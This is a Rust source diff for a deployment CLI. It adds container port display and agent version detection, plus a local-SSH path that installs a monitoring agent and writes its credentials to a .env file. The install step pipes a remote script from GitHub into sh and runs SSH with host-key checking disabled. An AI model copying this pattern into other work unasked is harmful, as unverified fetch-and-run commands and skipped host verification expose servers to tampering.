@@ -834,67 +1836,300 @@ fn print_containers_summary(containers: &[serde_json::Value]) {
             .and_then(|v| v.as_str())
             .unwrap_or("-");
         let image = c.get("image").and_then(|v| v.as_str()).unwrap_or("-");
+        let ports = format_container_ports_with_lookup(c, name, &port_lookup);
         println!(
-            "{:<24} {} {:<10} {:<30}",
+            "{:<24} {} {:<10} {:<22} {:<30}",
             fmt::truncate(name, 22),
             progress::status_icon(state),
             state,
+            fmt::truncate(&ports, 20),
             fmt::truncate(image, 28),
         );
     }
 }
 
-/// Pretty-print a snapshot summary for human consumption.
-fn print_snapshot_summary(
-    snap: &serde_json::Value,
-    live_containers: Option<&Vec<serde_json::Value>>,
-) {
-    println!("{}", fmt::separator(60));
-
-    // Agent info
-    if let Some(agent) = snap.get("agent") {
-        let status = agent
-            .get("status")
-            .and_then(|v| v.as_str())
-            .unwrap_or("unknown");
-        let version = agent
-            .get("version")
-            .and_then(|v| v.as_str())
-            .unwrap_or("-");
-        let heartbeat = agent
-            .get("last_heartbeat")
-            .and_then(|v| v.as_str())
-            .unwrap_or("-");
+fn build_app_port_lookup(apps: &[serde_json::Value]) -> std::collections::HashMap<String, String> {
+    let mut map = std::collections::HashMap::new();
+    for app in apps {
+        let code = match app.get("code").and_then(|v| v.as_str()) {
+            Some(c) => c,
+            None => continue,
+        };
+        let ports = match app.get("ports").and_then(|v| v.as_array()) {
+            Some(arr) if !arr.is_empty() => arr,
+            _ => continue,
+        };
+        let parts: Vec<String> = ports
+            .iter()
+            .filter_map(|p| {
+                let host = p
+                    .get("host_port")
+                    .or_else(|| p.get("hostPort"))
+                    .and_then(|v| v.as_str());
+                let container = p
+                    .get("container_port")
+                    .or_else(|| p.get("containerPort"))
+                    .and_then(|v| v.as_str());
+                match (host, container) {
+                    (Some(h), Some(c)) if h == c => Some(format!("{}", c)),
+                    (Some(h), Some(c)) => Some(format!("{}:{}", h, c)),
+                    (None, Some(c)) => Some(c.to_string()),
+                    (Some(h), None) => Some(h.to_string()),
+                    (None, None) => None,
+                }
+            })
+            .collect();
+        if !parts.is_empty() {
+            map.insert(code.to_string(), parts.join(", "));
+        }
+    }
+    map
+}
 
-        println!(
-            "Agent:     {} {}  (v{})",
-            progress::status_icon(status),
-            status,
-            version
-        );
-        println!("Heartbeat: {}", heartbeat);
+fn container_app_code<'a>(name: &'a str) -> Option<&'a str> {
+    let name = name.trim_start_matches('/');
+    let prefix = if name.starts_with("project-") {
+        "project-"
+    } else if name.starts_with("project_") {
+        "project_"
     } else {
-        println!("Agent:     not registered");
+        return None;
+    };
+    let after_prefix = &name[prefix.len()..];
+    if let Some(idx) = after_prefix.rfind(|c: char| c == '-' || c == '_') {
+        let candidate = &after_prefix[..idx];
+        let suffix = &after_prefix[idx + 1..];
+        if suffix.chars().all(|c| c.is_numeric()) {
+            return Some(candidate);
+        }
+    }
+    None
+}
+
+fn format_container_ports_with_lookup(
+    container: &serde_json::Value,
+    name: &str,
+    port_lookup: &std::collections::HashMap<String, String>,
+) -> String {
+    let from_container = format_container_ports(container);
+    if from_container != "-" {
+        return from_container;
+    }
+    if let Some(code) = container_app_code(name) {
+        if let Some(ports) = port_lookup.get(code) {
+            return ports.clone();
+        }
     }
+    "-".to_string()
+}
 
-    println!("{}", fmt::separator(60));
+fn format_container_ports(container: &serde_json::Value) -> String {
+    let arr = match container.get("ports").and_then(|v| v.as_array()) {
+        Some(a) => a,
+        None => return "-".to_string(),
+    };
 
-    if let Some(apps) = snap.get("apps").and_then(|v| v.as_array()) {
-        print_apps_summary(apps);
+    let parts: Vec<String> = arr
+        .iter()
+        .filter_map(|p| {
+            if let Some(s) = p.as_str() {
+                Some(s.to_string())
+            } else if let Some(n) = p.as_u64() {
+                Some(n.to_string())
+            } else if let Some(obj) = p.as_object() {
+                let host = obj
+                    .get("hostPort")
+                    .or_else(|| obj.get("host_port"))
+                    .or_else(|| obj.get("PublicPort"))
+                    .and_then(|v| v.as_u64());
+                let container = obj
+                    .get("containerPort")
+                    .or_else(|| obj.get("container_port"))
+                    .or_else(|| obj.get("PrivatePort"))
+                    .and_then(|v| v.as_u64());
+                let proto = obj
+                    .get("protocol")
+                    .or_else(|| obj.get("Type"))
+                    .and_then(|v| v.as_str())
+                    .unwrap_or("tcp");
+                match (host, container) {
+                    (Some(h), Some(c)) => Some(format!("{}:{}/{}", h, c, proto)),
+                    (None, Some(c)) => Some(format!("{}/{}", c, proto)),
+                    (Some(h), None) => Some(h.to_string()),
+                    (None, None) => None,
+                }
+            } else {
+                None
+            }
+        })
+        .collect();
+
+    if parts.is_empty() {
+        "-".to_string()
     } else {
-        println!("Apps:       none");
+        parts.join(", ")
     }
+}
 
-    println!("{}", fmt::separator(60));
+fn visible_containers(containers: &[serde_json::Value]) -> Vec<&serde_json::Value> {
+    containers
+        .iter()
+        .filter(|container| !is_stale_platform_project_container(container))
+        .collect()
+}
+
+fn is_stale_platform_project_container(container: &serde_json::Value) -> bool {
+    let Some(name) = container.get("name").and_then(|value| value.as_str()) else {
+        return false;
+    };
+
+    let normalized_name = crate::project_app::normalize_app_code(name);
+    normalized_name.starts_with("project_")
+        && ["nginx_proxy_manager", "statuspanel"]
+            .iter()
+            .any(|code| normalized_name.contains(code))
+}
+
+fn agent_display_version(
+    agent: &serde_json::Value,
+    live_containers: Option<&Vec<serde_json::Value>>,
+) -> Option<String> {
+    agent
+        .get("system_info")
+        .and_then(agent_version_from_system_info)
+        .or_else(|| {
+            agent
+                .get("version")
+                .and_then(|value| value.as_str())
+                .and_then(non_placeholder_agent_version)
+        })
+        .or_else(|| {
+            live_containers.and_then(|containers| agent_version_from_live_containers(containers))
+        })
+}
+
+fn agent_version_from_system_info(system_info: &serde_json::Value) -> Option<String> {
+    [
+        "agent_version",
+        "agentVersion",
+        "status_panel_agent_version",
+        "statusPanelAgentVersion",
+        "dashboard_version",
+        "dashboardVersion",
+        "version",
+    ]
+    .iter()
+    .find_map(|key| {
+        system_info
+            .get(*key)
+            .and_then(|value| value.as_str())
+            .and_then(non_placeholder_agent_version)
+    })
+}
+
+fn agent_version_from_live_containers(containers: &[serde_json::Value]) -> Option<String> {
+    containers.iter().find_map(|container| {
+        let name = container.get("name").and_then(|value| value.as_str())?;
+        let normalized_name = crate::project_app::normalize_app_code(name);
+        if !normalized_name.contains("statuspanel_agent")
+            && !normalized_name.contains("status_panel_agent")
+        {
+            return None;
+        }
+
+        container
+            .get("image")
+            .and_then(|value| value.as_str())
+            .and_then(image_tag)
+            .and_then(non_placeholder_agent_version)
+    })
+}
+
+fn image_tag(image: &str) -> Option<&str> {
+    let image_without_digest = image.split('@').next().unwrap_or(image);
+    image_without_digest
+        .rsplit_once(':')
+        .map(|(_, tag)| tag)
+        .filter(|tag| !tag.contains('/'))
+}
+
+fn non_placeholder_agent_version(version: &str) -> Option<String> {
+    let version = version.trim().trim_start_matches('v');
+    if version.is_empty()
+        || matches!(
+            version.to_ascii_lowercase().as_str(),
+            "1.0.0" | "latest" | "main" | "stable" | "unknown"
+        )
+    {
+        return None;
+    }
+
+    Some(version.to_string())
+}
+
+fn agent_version_label(version: &str) -> String {
+    format!(" · v{}", version.trim().trim_start_matches('v'))
+}
+
+/// Pretty-print a snapshot summary for human consumption.
+// Width that covers the widest table (containers: 24+1+12+1+22+1+30 = 91 cols).
+const STATUS_SEP_WIDTH: usize = 92;
+
+/// Pretty-print a snapshot summary for human consumption.
+fn print_snapshot_summary(
+    snap: &serde_json::Value,
+    live_containers: Option<&Vec<serde_json::Value>>,
+) {
+    println!("{}", fmt::separator(STATUS_SEP_WIDTH));
+
+    // Agent info
+    if let Some(agent) = snap.get("agent") {
+        let status = agent
+            .get("status")
+            .and_then(|v| v.as_str())
+            .unwrap_or("unknown");
+        let version_label = agent_display_version(agent, live_containers)
+            .as_deref()
+            .map(agent_version_label)
+            .unwrap_or_default();
+        let heartbeat = agent
+            .get("last_heartbeat")
+            .and_then(|v| v.as_str())
+            .unwrap_or("-");
+
+        println!(
+            "Agent:     {} {}{}",
+            progress::status_icon(status),
+            status,
+            version_label
+        );
+        println!("Heartbeat: {}", heartbeat);
+    } else {
+        println!("Agent:     not registered");
+    }
+
+    println!("{}", fmt::separator(STATUS_SEP_WIDTH));
+
+    if let Some(apps) = snap.get("apps").and_then(|v| v.as_array()) {
+        print_apps_summary(apps);
+    } else {
+        println!("Apps:       none");
+    }
+
+    println!("{}", fmt::separator(STATUS_SEP_WIDTH));
 
     // Containers
+    let apps = snap
+        .get("apps")
+        .and_then(|v| v.as_array())
+        .map(|v| v.as_slice());
     if let Some(containers) = live_containers {
-        print_containers_summary(containers);
+        print_containers_summary_with_apps(containers, apps);
     } else if let Some(containers) = snap.get("containers").and_then(|v| v.as_array()) {
-        print_containers_summary(containers);
+        print_containers_summary_with_apps(containers, apps);
     }
 
-    println!("{}", fmt::separator(60));
+    println!("{}", fmt::separator(STATUS_SEP_WIDTH));
 
     // Recent commands
     if let Some(commands) = snap.get("commands").and_then(|v| v.as_array()) {
@@ -942,7 +2177,11 @@ impl CallableTrait for AgentListAppsCommand {
 
         let snapshot = ctx.block_on(ctx.client.agent_snapshot(&hash))?;
         let item = snapshot_item(&snapshot);
-        let apps = item.get("apps").and_then(|v| v.as_array()).cloned().unwrap_or_default();
+        let apps = item
+            .get("apps")
+            .and_then(|v| v.as_array())
+            .cloned()
+            .unwrap_or_default();
 
         if self.json {
             let value = serde_json::Value::Array(apps);
@@ -971,8 +2210,7 @@ impl CallableTrait for AgentListContainersCommand {
         let ctx = CliRuntime::new("agent list containers")?;
         let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
 
-        let containers = fetch_live_containers(&ctx, &hash)?
-            .unwrap_or_default();
+        let containers = fetch_live_containers(&ctx, &hash)?.unwrap_or_default();
 
         if self.json {
             let value = serde_json::Value::Array(containers);
@@ -1058,7 +2296,13 @@ impl AgentExecCommand {
         json: bool,
         deployment: Option<String>,
     ) -> Self {
-        Self { command_type, params, timeout, json, deployment }
+        Self {
+            command_type,
+            params,
+            timeout,
+            json,
+            deployment,
+        }
     }
 }
 
@@ -1162,23 +2406,420 @@ impl CallableTrait for AgentHistoryCommand {
 
 // ── Install (deploy Status Panel to existing server) ─
 
-/// `stacker agent install [--file <path>] [--json]`
+/// `stacker agent install [--file <path>] [--persist-config] [--json] [--local]`
+///
+/// Deploys the Status Panel agent.
 ///
-/// Deploys the Status Panel agent to an existing server that was previously
-/// deployed without it. Reads the project identity from stacker.yml, finds
-/// the corresponding project and server on the Stacker API, and triggers
-/// a deploy with only the statuspanel feature enabled.
+/// For cloud / public-IP servers the command routes through the Stacker install
+/// service (Ansible over cloud-initiated SSH). For intranet servers — detected
+/// automatically when `deploy.server.host` is a private RFC1918 address, or
+/// forced with `--local` — the CLI itself SSHes to the host, runs the status
+/// panel install script, and links the agent via the Stacker API. No inbound
+/// connection from the cloud is needed.
 pub struct AgentInstallCommand {
     pub file: Option<String>,
+    pub persist_config: bool,
     pub json: bool,
+    /// Force the local-SSH path even for public-IP servers.
+    pub local: bool,
 }
 
 impl AgentInstallCommand {
-    pub fn new(file: Option<String>, json: bool) -> Self {
-        Self { file, json }
+    pub fn new(file: Option<String>, persist_config: bool, json: bool) -> Self {
+        Self {
+            file,
+            persist_config,
+            json,
+            local: false,
+        }
+    }
+
+    pub fn with_local(mut self, local: bool) -> Self {
+        self.local = local;
+        self
     }
 }
 
+use crate::helpers::ip::is_private_host;
+
+/// Install the Status Panel agent directly from the CLI over local SSH.
+///
+/// Used when the target server is on an intranet and the Stacker cloud install
+/// service cannot reach it. Uses the system `ssh` binary (not russh) to avoid
+/// macOS routing stack issues (EHOSTUNREACH) with private IPs. Steps:
+///   1. Call `POST /api/v1/agent/link` to mint agent credentials
+///   2. Run the status panel install script on the remote via system `ssh`
+///   3. Write `~/stacker/.agent.env` with `AGENT_ID`, `AGENT_TOKEN`, `DASHBOARD_URL`
+///   4. Start the agent in daemon mode
+async fn install_agent_via_local_ssh(
+    server_cfg: &crate::cli::config_parser::ServerConfig,
+    deployment_hash: &str,
+    ctx: &CliRuntime,
+    stacker_url: &str,
+) -> Result<(), CliError> {
+    let key_path = server_cfg
+        .ssh_key
+        .as_ref()
+        .map(|p| {
+            let s = p.to_string_lossy();
+            if s.starts_with("~/") {
+                let home = std::env::var("HOME").unwrap_or_else(|_| ".".to_string());
+                std::path::PathBuf::from(home).join(&s[2..])
+            } else {
+                p.clone()
+            }
+        })
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "deploy.server.ssh_key is required for local agent install.\n\
+                 Set it in stacker.yml or run `stacker config setup server`."
+                    .to_string(),
+            )
+        })?;
+
+    if !key_path.exists() {
+        return Err(CliError::ConfigValidation(format!(
+            "SSH key not found: {}",
+            key_path.display()
+        )));
+    }
+
+    let user_at_host = format!("{}@{}", server_cfg.user, server_cfg.host);
+    let ssh_args = [
+        "-i",
+        key_path.to_str().unwrap_or(""),
+        "-p",
+        &server_cfg.port.to_string(),
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "BatchMode=yes",
+    ];
+
+    // Helper: run a command on the remote, stream output, return exit code.
+    let ssh_run = |cmd: &str| -> Result<std::process::Output, CliError> {
+        std::process::Command::new("ssh")
+            .args(&ssh_args)
+            .arg(&user_at_host)
+            .arg(cmd)
+            .output()
+            .map_err(|e| CliError::ConfigValidation(format!("ssh exec failed: {}", e)))
+    };
+
+    // 1. Mint agent credentials via the Stacker API (outbound, always works)
+    eprintln!("  Linking agent to deployment {}...", deployment_hash);
+    let fingerprint = serde_json::json!({ "host": server_cfg.host, "source": "cli_local_install" });
+    let (agent_id, agent_token, linked_hash) =
+        ctx.client.agent_link(deployment_hash, fingerprint).await?;
+    eprintln!("  Agent linked (id: {}).", agent_id);
+
+    // 2. Install the status panel binary into ~/.local/bin (no sudo needed).
+    // The install.sh respects INSTALL_DIR; we avoid /usr/local/bin which
+    // requires sudo and prompts for a TTY we don't have in BatchMode.
+    eprintln!(
+        "  Running status panel install script on {}...",
+        server_cfg.host
+    );
+    let install_out = ssh_run(
+        "mkdir -p $HOME/.local/bin && \
+         curl -sSfL https://raw.githubusercontent.com/trydirect/status/master/install.sh \
+         | INSTALL_DIR=$HOME/.local/bin sh",
+    )?;
+    if !install_out.status.success() {
+        let stderr = String::from_utf8_lossy(&install_out.stderr);
+        return Err(CliError::ConfigValidation(format!(
+            "Install script failed (exit {}):\n{}",
+            install_out.status.code().unwrap_or(-1),
+            stderr.trim()
+        )));
+    }
+    eprintln!("  Binary installed.");
+
+    // 3. Write .env into the agent's working directory.
+    // The status panel binary loads .env from its current working directory
+    // via dotenvy::dotenv() at startup.  We use ~/stacker/ as the working dir.
+    let env_content = format!(
+        "AGENT_ID={}\nAGENT_TOKEN={}\nDASHBOARD_URL={}\nDEPLOYMENT_HASH={}\nCOMPOSE_AGENT_ENABLED=true\n",
+        agent_id, agent_token, stacker_url, linked_hash
+    );
+    use base64::Engine as _;
+    let env_b64 = base64::engine::general_purpose::STANDARD.encode(&env_content);
+    let write_cmd = format!(
+        "mkdir -p ~/stacker && printf '%s' '{}' | base64 -d > ~/stacker/.env && chmod 600 ~/stacker/.env",
+        env_b64
+    );
+    let write_out = ssh_run(&write_cmd)?;
+    if !write_out.status.success() {
+        let stderr = String::from_utf8_lossy(&write_out.stderr);
+        return Err(CliError::ConfigValidation(format!(
+            "Failed to write ~/stacker/.env: {}",
+            stderr.trim()
+        )));
+    }
+
+    // 4. Generate config.json (required by the daemon) then start it.
+    // `status init` creates config.json with defaults; without --force it
+    // won't overwrite the .env we already wrote.
+    //
+    // Do NOT use `status --daemon`: that flag triggers POSIX daemonize() which
+    // forks and redirects its own stdout/stderr to /dev/null — the polling loop
+    // runs silently and the log file only ever gets the banner.
+    //
+    // Instead run `status` in foreground mode and use setsid+nohup to detach
+    // from the SSH session. This keeps all log output going to status.log.
+    let start_cmd = "cd ~/stacker && \
+        $HOME/.local/bin/status init 2>/dev/null; \
+        pkill -f '$HOME/.local/bin/status' 2>/dev/null; \
+        setsid nohup $HOME/.local/bin/status > ~/stacker/status.log 2>&1 &";
+    let _ = ssh_run(start_cmd)?;
+
+    eprintln!();
+    eprintln!("✓ Status Panel agent installed on {}.", server_cfg.host);
+    eprintln!("  Agent ID:         {}", agent_id);
+    eprintln!("  Deployment:       {}", linked_hash);
+    eprintln!("  Working dir:      ~/stacker/");
+    eprintln!("  Config:           ~/stacker/.env");
+    eprintln!(
+        "  The agent is now polling {} for deploy commands.",
+        stacker_url
+    );
+    eprintln!("  Run `stacker agent status` to verify connectivity.");
+
+    Ok(())
+}
+
+fn fallback_server_config_for_agent_install(
+    server: &crate::cli::stacker_client::ServerInfo,
+) -> Result<crate::cli::config_parser::ServerConfig, CliError> {
+    let host = server.srv_ip.clone().ok_or_else(|| {
+        CliError::ConfigValidation(
+            "Server record has no reachable IP address.\n\
+             Cannot install Status Panel without a server host."
+                .to_string(),
+        )
+    })?;
+
+    let port = server
+        .ssh_port
+        .and_then(|value| u16::try_from(value).ok())
+        .unwrap_or(22);
+
+    Ok(crate::cli::config_parser::ServerConfig {
+        host,
+        user: server
+            .ssh_user
+            .clone()
+            .unwrap_or_else(|| "root".to_string()),
+        ssh_key: None,
+        port,
+    })
+}
+
+const AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY: &str = "status_panel_only";
+const AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE: &str = "true";
+const AGENT_INSTALL_MODE_KEY: &str = "statuspanel_install_mode";
+const AGENT_INSTALL_MODE_VALUE: &str = "status_only";
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct AgentInstallConfigPersistence {
+    config_path: PathBuf,
+    backup_path: PathBuf,
+    changed: bool,
+}
+
+fn persist_agent_install_config(
+    config_path: &Path,
+) -> Result<AgentInstallConfigPersistence, CliError> {
+    let mut config = crate::cli::config_parser::StackerConfig::from_file_raw(config_path)?;
+    let changed = !config.monitoring.status_panel;
+    let backup_path = PathBuf::from(format!("{}.bak", config_path.display()));
+
+    if changed {
+        config.monitoring.status_panel = true;
+        let yaml = serde_yaml::to_string(&config).map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to serialize config: {}", e))
+        })?;
+        std::fs::copy(config_path, &backup_path)?;
+        std::fs::write(config_path, yaml)?;
+    }
+
+    Ok(AgentInstallConfigPersistence {
+        config_path: config_path.to_path_buf(),
+        backup_path,
+        changed,
+    })
+}
+
+fn persist_agent_install_config_if_requested(
+    config_path: &Path,
+    persist_config: bool,
+) -> Result<Option<AgentInstallConfigPersistence>, CliError> {
+    if !persist_config {
+        return Ok(None);
+    }
+
+    persist_agent_install_config(config_path).map(Some)
+}
+
+fn print_agent_install_config_persistence(result: &AgentInstallConfigPersistence) {
+    if result.changed {
+        eprintln!(
+            "✓ Updated monitoring.status_panel=true in {}",
+            result.config_path.display()
+        );
+        eprintln!("  Backup written to {}", result.backup_path.display());
+    } else {
+        eprintln!(
+            "✓ monitoring.status_panel already enabled in {}",
+            result.config_path.display()
+        );
+    }
+}
+
+fn add_agent_install_scope_contract(deploy_form: &mut serde_json::Value) {
+    if let Some(root) = deploy_form.as_object_mut() {
+        root.entry(AGENT_INSTALL_MODE_KEY.to_string())
+            .or_insert_with(|| serde_json::Value::String(AGENT_INSTALL_MODE_VALUE.to_string()));
+    }
+
+    let Some(vars) = deploy_form
+        .get_mut("stack")
+        .and_then(|value| value.get_mut("vars"))
+        .and_then(|value| value.as_array_mut())
+    else {
+        return;
+    };
+
+    if vars.iter().any(|value| {
+        value.get("key").and_then(|key| key.as_str())
+            == Some(AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY)
+    }) {
+        return;
+    }
+
+    vars.push(serde_json::json!({
+        "key": AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY,
+        "value": AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE,
+    }));
+}
+
+fn build_agent_install_deploy_request(
+    config: &crate::cli::config_parser::StackerConfig,
+    server: &crate::cli::stacker_client::ServerInfo,
+    project_name: &str,
+    vault_url: &str,
+) -> Result<(Option<i32>, serde_json::Value), CliError> {
+    let server_target = config.deploy.target == crate::cli::config_parser::DeployTarget::Server
+        || server.cloud_id.is_none();
+
+    if server_target {
+        let server_cfg = match config.deploy.server.as_ref() {
+            Some(server_cfg) => server_cfg.clone(),
+            None => fallback_server_config_for_agent_install(server)?,
+        };
+        let effective_server_name = server
+            .name
+            .clone()
+            .unwrap_or_else(|| format!("{}-server", project_name));
+        let mut deploy_form = crate::cli::stacker_client::build_server_deploy_form(
+            config,
+            &server_cfg,
+            &effective_server_name,
+            true,
+        );
+
+        if let Some(server_obj) = deploy_form
+            .get_mut("server")
+            .and_then(|value| value.as_object_mut())
+        {
+            if let Some((private_key, public_key)) =
+                crate::cli::install_runner::load_existing_server_ssh_key(&server_cfg)?
+            {
+                server_obj.insert(
+                    "ssh_private_key".to_string(),
+                    serde_json::Value::String(private_key),
+                );
+                if let Some(public_key) = public_key {
+                    server_obj.insert(
+                        "public_key".to_string(),
+                        serde_json::Value::String(public_key),
+                    );
+                }
+            }
+
+            server_obj.insert("server_id".to_string(), serde_json::json!(server.id));
+
+            if let Some(vault_key_path) = &server.vault_key_path {
+                server_obj.insert(
+                    "vault_key_path".to_string(),
+                    serde_json::Value::String(vault_key_path.clone()),
+                );
+            }
+
+            if let Some(region) = &server.region {
+                server_obj.insert(
+                    "region".to_string(),
+                    serde_json::Value::String(region.clone()),
+                );
+            }
+
+            if let Some(os) = &server.os {
+                server_obj.insert("os".to_string(), serde_json::Value::String(os.clone()));
+            }
+
+            if let Some(server_kind) = &server.server {
+                server_obj.insert(
+                    "server".to_string(),
+                    serde_json::Value::String(server_kind.clone()),
+                );
+            }
+        }
+
+        add_agent_install_scope_contract(&mut deploy_form);
+        return Ok((None, deploy_form));
+    }
+
+    let cloud_id = server.cloud_id.ok_or_else(|| {
+        CliError::ConfigValidation(
+            "Server has no associated cloud credentials.\n\
+             Cannot install Status Panel without cloud credentials."
+                .to_string(),
+        )
+    })?;
+
+    let mut deploy_form = serde_json::json!({
+        "cloud": {
+            "provider": server.cloud.clone().unwrap_or_else(|| "htz".to_string()),
+            "save_token": true,
+        },
+        "server": {
+            "server_id": server.id,
+            "region": server.region,
+            "server": server.server,
+            "os": server.os,
+            "name": server.name,
+            "srv_ip": server.srv_ip,
+            "ssh_user": server.ssh_user,
+            "ssh_port": server.ssh_port,
+            "vault_key_path": server.vault_key_path,
+            "connection_mode": "status_panel",
+        },
+        "stack": {
+            "stack_code": project_name,
+            "vars": [
+                { "key": "vault_url", "value": vault_url },
+                { "key": "status_panel_port", "value": "5000" },
+            ],
+            "integrated_features": ["statuspanel"],
+            "extended_features": [],
+            "subscriptions": [],
+        },
+    });
+
+    add_agent_install_scope_contract(&mut deploy_form);
+    Ok((Some(cloud_id), deploy_form))
+}
+
 impl CallableTrait for AgentInstallCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         use crate::cli::stacker_client::{self, DEFAULT_VAULT_URL};
@@ -1189,7 +2830,8 @@ impl CallableTrait for AgentInstallCommand {
             None => project_dir.join("stacker.yml"),
         };
 
-        let config = crate::cli::config_parser::StackerConfig::from_file(&config_path)?;
+        let config = crate::cli::config_parser::StackerConfig::from_file(&config_path)?
+            .with_resolved_deploy_target(None)?;
 
         let project_name = config
             .project
@@ -1197,21 +2839,116 @@ impl CallableTrait for AgentInstallCommand {
             .clone()
             .unwrap_or_else(|| config.name.clone());
 
+        // Detect intranet server: use local SSH path when the host is a private IP
+        // (or --local is explicitly set) so the cloud install service is bypassed.
+        // If there's no deploy.server at all (e.g. cloud-deployed project), always
+        // use the cloud install path.
+        let use_local_ssh = match config.deploy.server.as_ref() {
+            Some(s) => self.local || is_private_host(s.host.as_str()),
+            None => self.local,
+        };
+
         let ctx = CliRuntime::new("agent install")?;
+
+        if use_local_ssh {
+            let server_cfg = config.deploy.server.clone().ok_or_else(|| {
+                CliError::ConfigValidation(
+                    "deploy.server must be configured for local agent install.\n\
+                     Run `stacker config setup server` first."
+                        .to_string(),
+                )
+            })?;
+
+            let stacker_url = std::env::var("STACKER_URL")
+                .unwrap_or_else(|_| stacker_client::DEFAULT_STACKER_URL.to_string());
+
+            eprintln!(
+                "Server {} is on a private network — using local SSH to install agent.",
+                server_cfg.host
+            );
+            eprintln!("(Use --local to force this path for public-IP servers.)");
+            eprintln!();
+
+            // Find the deployment hash for this project
+            let pb = progress::spinner("Resolving deployment...");
+            let deployment_hash: Result<String, CliError> = ctx.block_on(async {
+                let project = ctx
+                    .client
+                    .find_project_by_name(&project_name)
+                    .await?
+                    .ok_or_else(|| {
+                        CliError::ConfigValidation(format!(
+                            "Project '{}' not found on the Stacker server.\n\
+                             Deploy the project first with: stacker deploy --target server",
+                            project_name
+                        ))
+                    })?;
+
+                let deployments = ctx
+                    .client
+                    .list_deployments(Some(project.id), Some(1))
+                    .await?;
+                deployments
+                    .into_iter()
+                    .next()
+                    .map(|d| d.deployment_hash)
+                    .ok_or_else(|| {
+                        CliError::ConfigValidation(format!(
+                            "No active deployment found for project '{}'.\n\
+                             Deploy first with: stacker deploy --target server",
+                            project_name
+                        ))
+                    })
+            });
+            progress::finish_success(&pb, "Deployment resolved");
+
+            let deployment_hash = deployment_hash?;
+
+            ctx.block_on(install_agent_via_local_ssh(
+                &server_cfg,
+                &deployment_hash,
+                &ctx,
+                &stacker_url,
+            ))?;
+
+            // Persist the deployment hash into stacker.yml so that subsequent
+            // `stacker agent status/logs` commands can find it without --deployment.
+            if config_path.exists() {
+                if let Ok(mut cfg) =
+                    crate::cli::config_parser::StackerConfig::from_file_raw(&config_path)
+                {
+                    cfg.deploy.deployment_hash = Some(deployment_hash.clone());
+                    if let Ok(yaml) = serde_yaml::to_string(&cfg) {
+                        let _ = std::fs::write(&config_path, yaml);
+                    }
+                }
+            }
+
+            persist_agent_install_config_if_requested(&config_path, self.persist_config)?
+                .as_ref()
+                .map(print_agent_install_config_persistence);
+
+            return Ok(());
+        }
+
+        // ── Cloud install path (public-IP servers) ────────────────────────────
         let pb = progress::spinner("Installing Status Panel agent");
 
         let result: Result<stacker_client::DeployResponse, CliError> = ctx.block_on(async {
+            let target_label = config.deploy.target.to_string();
             // 1. Find the project
             progress::update_message(&pb, "Finding project...");
             let project = ctx
                 .client
                 .find_project_by_name(&project_name)
                 .await?
-                .ok_or_else(|| CliError::ConfigValidation(format!(
-                    "Project '{}' not found on the Stacker server.\n\
-                     Deploy the project first with: stacker deploy --target cloud",
-                    project_name
-                )))?;
+                .ok_or_else(|| {
+                    CliError::ConfigValidation(format!(
+                        "Project '{}' not found on the Stacker server.\n\
+                     Deploy the project first with: stacker deploy --target {}",
+                        project_name, target_label
+                    ))
+                })?;
 
             // 2. Find the server for this project
             progress::update_message(&pb, "Finding server...");
@@ -1219,64 +2956,38 @@ impl CallableTrait for AgentInstallCommand {
             let server = servers
                 .into_iter()
                 .find(|s| s.project_id == project.id)
-                .ok_or_else(|| CliError::ConfigValidation(format!(
-                    "No server found for project '{}' (id={}).\n\
-                     Deploy the project first with: stacker deploy --target cloud",
-                    project_name, project.id
-                )))?;
-
-            let cloud_id = server.cloud_id.ok_or_else(|| CliError::ConfigValidation(
-                "Server has no associated cloud credentials.\n\
-                 Cannot install Status Panel without cloud credentials."
-                    .to_string(),
-            ))?;
+                .ok_or_else(|| {
+                    CliError::ConfigValidation(format!(
+                        "No server found for project '{}' (id={}).\n\
+                     Deploy the project first with: stacker deploy --target {}",
+                        project_name, project.id, target_label
+                    ))
+                })?;
 
             // 3. Build a minimal deploy form with only the statuspanel feature
             progress::update_message(&pb, "Preparing deploy payload...");
             let vault_url = std::env::var("STACKER_VAULT_URL")
                 .unwrap_or_else(|_| DEFAULT_VAULT_URL.to_string());
-
-            let deploy_form = serde_json::json!({
-                "cloud": {
-                    "provider": server.cloud.clone().unwrap_or_else(|| "htz".to_string()),
-                    "save_token": true,
-                },
-                "server": {
-                    "server_id": server.id,
-                    "region": server.region,
-                    "server": server.server,
-                    "os": server.os,
-                    "name": server.name,
-                    "srv_ip": server.srv_ip,
-                    "ssh_user": server.ssh_user,
-                    "ssh_port": server.ssh_port,
-                    "vault_key_path": server.vault_key_path,
-                    "connection_mode": "status_panel",
-                },
-                "stack": {
-                    "stack_code": project_name,
-                    "vars": [
-                        { "key": "vault_url", "value": vault_url },
-                        { "key": "status_panel_port", "value": "5000" },
-                    ],
-                    "integrated_features": ["statuspanel"],
-                    "extended_features": [],
-                    "subscriptions": [],
-                },
-            });
+            let (cloud_id, deploy_form) =
+                build_agent_install_deploy_request(&config, &server, &project_name, &vault_url)?;
 
             // 4. Trigger the deploy
             progress::update_message(&pb, "Deploying Status Panel...");
-            let resp = ctx.client.deploy(project.id, Some(cloud_id), deploy_form).await?;
+            let resp = ctx.client.deploy(project.id, cloud_id, deploy_form).await?;
             Ok(resp)
         });
 
         match result {
             Ok(resp) => {
                 progress::finish_success(&pb, "Status Panel agent installation triggered");
+                let persistence =
+                    persist_agent_install_config_if_requested(&config_path, self.persist_config)?;
 
                 if self.json {
-                    println!("{}", serde_json::to_string_pretty(&resp).unwrap_or_default());
+                    println!(
+                        "{}",
+                        serde_json::to_string_pretty(&resp).unwrap_or_default()
+                    );
                 } else {
                     println!("Status Panel deploy queued for project '{}'", project_name);
                     if let Some(id) = resp.id {
@@ -1290,6 +3001,13 @@ impl CallableTrait for AgentInstallCommand {
                     println!();
                     println!("The Status Panel agent will be installed on the server.");
                     println!("Once ready, use `stacker agent status` to verify connectivity.");
+                    if let Some(persistence) = persistence.as_ref() {
+                        print_agent_install_config_persistence(persistence);
+                    } else {
+                        println!(
